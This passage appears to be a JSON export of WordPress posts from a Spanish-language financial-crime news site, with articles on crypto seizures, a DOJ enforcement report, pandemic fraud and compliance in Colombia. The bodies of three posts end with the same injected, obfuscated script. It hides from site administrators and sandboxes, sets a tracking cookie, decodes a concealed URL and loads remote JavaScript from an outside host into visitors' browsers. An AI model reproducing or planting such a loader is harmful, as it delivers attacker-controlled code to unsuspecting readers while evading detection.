no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva 